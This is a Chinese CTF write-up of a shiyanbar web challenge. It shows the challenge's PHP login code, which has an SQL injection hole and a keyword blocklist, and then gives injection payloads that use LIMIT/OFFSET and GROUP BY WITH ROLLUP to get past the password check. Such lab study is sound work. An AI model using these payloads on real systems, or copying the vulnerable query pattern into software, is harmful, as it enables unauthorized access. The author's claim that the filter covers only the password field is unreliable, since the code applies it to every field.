因缺思汀的绕过——实验吧
因缺思汀的绕过分值:20 来源:pcat 难度:中 参与人数:9534人 Get Flag:3087人 答题人数:3370人 解题通过率:92% 访问解题链接去访问题目,可以进行答题。根据web题一般解题思路去解答此题。看源码, 请求,响应等。提交与题目要求一致的内容即可返回flag。然后提交正确的flag即可得分。 web题主要考察SQL注入,XSS等相关知识。涉及方向较多。此题主要涉及源码审计,MySQL相关的知识。 flag格式 CTF{} 解题链接:http://ctf5.shiyanbar.com/web/pcat/index.php 解题思路:这一题考察的知识点比较多(可能是我不会的太多了QAQ) 首先,打开链接: 查看源代码就会得到: 看来出题人是希望我们能够看到源代码的呀 加上source.txt 就会得到: <?php error_reporting(0); if (!isset($_POST['uname']) || !isset($_POST['pwd'])) { echo '<form action="" method="post">'."<br/>"; echo '<input name="uname" type="text"/>'."<br/>"; echo '<input name="pwd" type="text"/>'."<br/>"; echo '<input type="submit" />'."<br/>"; echo '</form>'."<br/>"; echo '<!--source: source.txt-->'."<br/>"; die; } function AttackFilter($StrKey,$StrValue,$ArrReq){ if (is_array($StrValue)){ $StrValue=implode($StrValue); } if (preg_match("/".$ArrReq."/is",$StrValue)==1){ print "水可载舟,亦可赛艇"; exit(); } } $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)"; foreach($_POST as $key=>$value){ AttackFilter($key,$value,$filter); } $con = mysql_connect("XXXXXX","XXXXXX","XXXXXX"); if (!$con){ die('Could not connect: ' . mysql_error()); } $db="XXXXXX"; mysql_select_db($db, $con); $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'"; $query = mysql_query($sql); if (mysql_num_rows($query) == 1) { $key = mysql_fetch_array($query); if($key['pwd'] == $_POST['pwd']) { print "CTF{XXXXXX}"; }else{ print "亦可赛艇"; } }else{ print "一颗赛艇"; } mysql_close($con); ?> 从源码可以看到,$filter进行的关键字符筛选仅仅针对$_POST['pwd'], 所以第二行一定不能带被其识别的关键字,如:select 提交就会出现: 我们接着往下看就会发现限制从数据库返回的数据必须是一行, 在满足filter条件的情况下可以使用 limit 的返回来确定数据库中总共有几行数据。 注意它的查询语句是 select * from interest where uname = ‘{$_POST[‘uname’]}’ 于是构造: 1' or 1 limit 1 offset 0# 1' or 1 limit 1 offset 1# 1' or 1 limit 1 offset 2# 发现2#时返回“一颗赛艇!” 其他都是“亦可赛艇!”———–说明数据库只有两条信息 接下来就是想办法绕过if判断,只要if的判断为真就可以通过,于是可以利用group by with rollup来进行绕过, group by with rollup会在统计后的产生一条null的信息,然后在pwd里面就可以不用写值了,if就为真 payload:1' or 1 group by pwd with rollup limit 1 offset 2# 就会得到答案: 参考资料: http://php.net/manual/zh/function.preg-match.php #函数preg_match http://blog.csdn.net/id19870510/article/details/6254358 #使用 GROUP BY WITH ROLLUP 改善统计性能 http://blog.csdn.net/yplee_8/article/details/52252549 #sql 中 limit 与 limit,offset连用的区别 http://www.w3school.com.cn/sql/sql_groupby.asp #SQL GROUP BY 语句 http://blog.csdn.net/jiangnan2014/article/details/17229713 #MySQL中with rollup的用法 http://php.freehostingguru.com/function.php-is_array.php #函数is_array http://www.w3school.com.cn/php/func_string_implode.asp #函数 implode 您可以考虑给博主来个小小的打赏以资鼓励,您的肯定将是我最大的动力。 作者: 落花四月 出处: https://www.cnblogs.com/lxz-1263030049/ 关于作者:潜心于网络安全学习。如有问题或建议,请多多赐教! 版权声明:本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接. 特此声明:所有评论和私信都会在第一时间回复。也欢迎园子的大大们指正错误,共同进步。或者直接私信我 声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是作者坚持原创和持续写作的最大动力!